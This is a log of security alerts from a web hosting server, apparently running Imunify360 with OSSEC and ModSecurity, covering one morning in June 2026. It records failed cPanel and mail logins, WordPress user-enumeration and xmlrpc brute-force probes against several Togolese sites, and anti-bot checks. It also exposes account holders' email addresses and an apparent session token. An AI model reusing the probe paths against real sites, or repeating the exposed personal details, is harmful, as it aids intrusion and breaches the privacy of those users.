192.161.190.176 - - [15/Jun/2026:10:22:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198182&pdata=https%253A%252F%252Fdirect7.tg%252Ftogo-media-togoreveil-passe-en-format-magazine-panafricain%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781518946 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/togo-media-togoreveil-passe-en-format-magazine-panafricain/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.5183.1212 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.161.190.176


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.217.33
country_id: 2287781
description:
2026-06-15 10:22:59 dovecot_login authenticator failed for H=(ELISABETH) [102.209.217.33]:15381: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [15/Jun/2026:10:23:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184553&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdv-lottery%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781518980 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dv-lottery/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.217.33
country_id: 2287781
description:
2026-06-15 10:24:03 dovecot_login authenticator failed for H=(ELISABETH) [102.209.217.33]:15385: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.41.240
country_id: 1282988
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sia-togo.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.84.39
country_id: 2363686
description:
2026-06-15 10:26:33 dovecot_login authenticator failed for H=(slave3) [154.70.84.39]:38132: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-15 10:26:46 +0000] info [webmaild] 160.242.195.10 - etchonda@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 140.228.71.29
country_id: 2635167
description:
[2026-06-15 10:27:08 +0000] info [cpaneld] 140.228.71.29 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.97.197.84
country_id: 2635167
description:
[2026-06-15 10:27:08 +0000] info [whostmgrd] 88.97.197.84 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.142.201.26
country_id: 2750405
description:
[2026-06-15 10:28:13 +0000] info [cpaneld] 45.142.201.26 - rolle "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:28:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6841545&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781519292 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:28:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855837&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781519291 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:10:28:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6907285&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781519294 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 10:28:44 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:60320: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 10:28:25 +0000] info [whostmgrd] 85.215.117.93 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 10:28:26 +0000] info [whostmgrd] 85.215.117.93 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.134.0.250
country_id: 1168579
description:
Jun 15 10:29:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.134.0.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.134.0.250
country_id: 1168579
description:
2026-06-15 10:29:54 dovecot_login authenticator failed for H=([124.67.120.106]) [103.134.0.250]:40134: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 155.212.38.85
country_id: 298795
domain: www.togosem.com
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi1994.www.togosem.com||Method:wp.getUsersBlogs


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:33:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:33:36 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:33:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.23
country_id: 6252001
description:
[2026-06-15 10:33:58 +0000] info [cpaneld] 216.189.152.23 NEW wcnyaruu:RivJGnUFt6qihbr_ address=216.189.152.23,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:33:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 195.7.12.78
country_id: 1522867
description:
2026-06-15 10:33:48 H=([195.7.12.78]) [195.7.12.78]:54420 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-15 10:36:03 +0000] info [cpaneld] 51.83.5.75 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 195.7.12.78
country_id: 1522867
description:
2026-06-15 10:35:56 H=([195.7.12.78]) [195.7.12.78]:55705 F=<John@4452.com> rejected RCPT <kumar@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.174.168
country_id: 3469034
description:
Jun 15 10:36:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.174.168 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.186
country_id: 1880251
description:
47.128.121.186 - - [15/Jun/2026:10:38:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000274&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fmile-top-2019%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781519896 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/mile-top-2019/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.186


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.130
country_id: 1880251
description:
47.128.96.130 - - [15/Jun/2026:10:40:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104154&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnoel%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781520011 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/noel/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.130


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 35.226.16.57
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (35.226.16.57) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.0
country_id: 6252001
description:
205.169.39.0 - - [15/Jun/2026:10:41:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449048&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DYWRlZWwua2hhbkBmYXRpbWEtZ3JvdXAuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781520077 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=YWRlZWwua2hhbkBmYXRpbWEtZ3JvdXAuY29t" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 200.150.240.220
country_id: 3895114
description:
200.150.240.220 - - [15/Jun/2026:10:41:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986394&pdata=https%253A%252F%252Ftogodailynews.tg%252Fla-cps-un-outil-strategique-essentiel-pour-la-reduction-de-lincidence-du-paludisme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781520115 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/la-cps-un-outil-strategique-essentiel-pour-la-reduction-de-lincidence-du-paludisme/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.6351.1070 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:200.150.240.220


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.203
country_id: 6252001
description:
[2026-06-15 10:42:05 +0000] info [cpaneld] 45.38.16.203 - hcbcmrio "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User hcbcmrio has their account suspended. Login blocked.


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 45.38.16.203
country_id: 6252001
description:
[2026-06-15 10:42:05 +0000] info [cpaneld] 45.38.16.203 - lxsenjdd_farms "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd_farms (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/1?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:10:44:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183557&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781520262 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:44:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10340505&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781520259 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:44:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379096&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781520258 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=gmail.com&_locale=user||


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL track
abuser: 35.226.16.57
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: WordPress Bruteforce RBL track||Name:||WPU:||User:nrzector||Script:/home/nrzector/public_html/xmlrpc.php||RSV:8.17||T:APACHE||MV:/xmlrpc.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.103.121.241
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:10-47.146.103.121.241||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:48:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:48:15 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:48:14 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:48:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 35.226.16.57
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (35.226.16.57) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 5.181.171.195
country_id: 2017370
domain: togosem.com
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Fre@dJdl5820HDjfe.togosem.com||Method:wp.getUsersBlogs


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.103.121.241
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:10-51.146.103.121.241||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.56
country_id: 1880251
description:
47.128.121.56 - - [15/Jun/2026:10:52:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13289626&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fsociete%252Fpage%252F6%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781520721 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/societe/page/6/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.56


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.117.225.36
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 10:52:54 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:42978: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.38.16.203
country_id: 6252001
description:
[2026-06-15 10:54:08 +0000] info [cpaneld] 45.38.16.203 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 195.63.20.20
country_id: 2921044
domain: mesyscom.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-15 10:57:02 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:53264: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.142.159
country_id: 690791
description:
Jun 15 10:59:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.142.159 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:10:59:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781521157 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 192.161.164.16
country_id: 1643084
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:togo-systeme-public-renforce-et-protection-sociale-accrue/||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:10:59:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9751190&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781521163 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.221.105
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.17||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:10:59:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923951&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781521159 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - e.gbevon@davakconsulting.com [06/15/2026:10:59:34 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: e.gbevon@davakconsulting.com
